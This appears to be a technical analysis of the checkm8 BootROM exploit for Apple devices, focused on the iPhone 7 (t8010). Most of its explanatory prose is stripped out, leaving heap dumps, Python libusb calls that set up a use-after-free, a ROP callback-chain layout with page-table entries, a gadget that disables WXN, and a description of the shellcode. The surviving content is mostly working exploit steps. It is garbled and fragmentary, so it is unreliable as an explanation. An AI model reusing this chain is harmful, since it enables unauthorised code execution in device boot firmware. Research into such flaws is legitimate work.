F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
, High Speed
Full Speed
, IO
-. , , , . , .
2. IO-
device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device)
OUT
- . , io_buffer
. DFU
DFU_CLR_STATUS
, DFU
.
3. usb_device_io_request
use-after-free
device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
usb_device_io_request
t8010_overwrite
, .
t8010_nop_gadget
0x1800B0800
callback
next
usb_device_io_request
.
t8010_nop_gadget
, , LR
, - free
callback
- usb_core_complete_endpoint_io
. , , .
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
next
INSECURE_MEMORY + 0x800
. INSECURE_MEMORY
, 0x800
callback-chain
, .
4.
for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
. :
0x1800B0000: t8010_shellcode # shell-code ... 0x1800B0180: t8010_handler # usb- ... 0x1800B0400: 0x1000006a5 # # SecureROM (0x100000000 -> 0x100000000) # ... 0x1800B0600: 0x60000180000625 # # SecureRAM (0x180000000 -> 0x180000000) # 0x1800B0608: 0x1800006a5 # # 0x182000000 0x180000000 # 0x1800B0610: disabe_wxn_arm64 # WXN 0x1800B0800: usb_rop_callbacks # callback-chain
5. callback-chain
dfu.usb_reset(device) dfu.release_device(device)
USB
usb_device_io_request
. , callback
. :
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
, 0x70
. f(x)
f
x
.
, Unicorn Engine
. uEmu .

iPhone 7
.
5.1. dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET
. , .
5.2. dmb
0000000100000478: DMB SY 000000010000047C: RET
, , . , , .
5.3. enter_critical_section()
.
5.4. write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
0x1800B0000
. INSECURE MEMORY
, . , :
... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ...
5.5. tlbi
0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET
, .
5.6. 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET
WXN
(Write permission implies Execute-never), RW
. WXN
- .
5.7. write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
. BootROM
, INSECURE_MEMORY
.
5.8. tlbi
.
5.9. exit_critical_section()
.
5.10. 0x1800B0000
shellcode
.
, callback-chain
— WXN
shellcode
RW
-.
6. shellcode
shellcode
src/checkm8_arm64.S
:
6.1. USB
-
usb_core_hs_configuration_descriptor
usb_core_fs_configuration_descriptor
, . . USB
-, shellcode
.
6.2. USBSerialNumber
- , " PWND:[checkm8]"
. , .
6.3. USB
-
USB
- , .
6.4. USB
- TRAMPOLINE
( 0x1800AFC00
)
USB
- wValue
0xffff
, , . , : memcpy
, memset
exec
( ).
.
USB
Proof-of-Concept checkm8
Arduino
Usb Host Shield
. PoC iPhone 7
, . iPhone 7
DFU
Usb Host Shield
, PWND:[checkm8]
, USB
- ipwndfu ( , - ..). , , USB
-. USB_Host_Shield_2.0 . , patch- .
. checkm8
. , . jailbreak-. , jailbreak checkm8
— checkra1n . , jailbreak ( A5
A11
) iOS
. iWatch
, Apple TV
. , .
jailbreak, Apple. checkm8
verbose- iOS
, SecureROM
GID
- . , , JTAG/SWD . , , . , checkm8
, Apple
.
Referenzen
- Jonathan Levin, *OS Internals: iBoot
- Apple, iOS Security Guide
- littlelailo, apollo.txt
- usb.org
- USB in a NutShell
- ipwndfu
- ipwndfu LinusHenze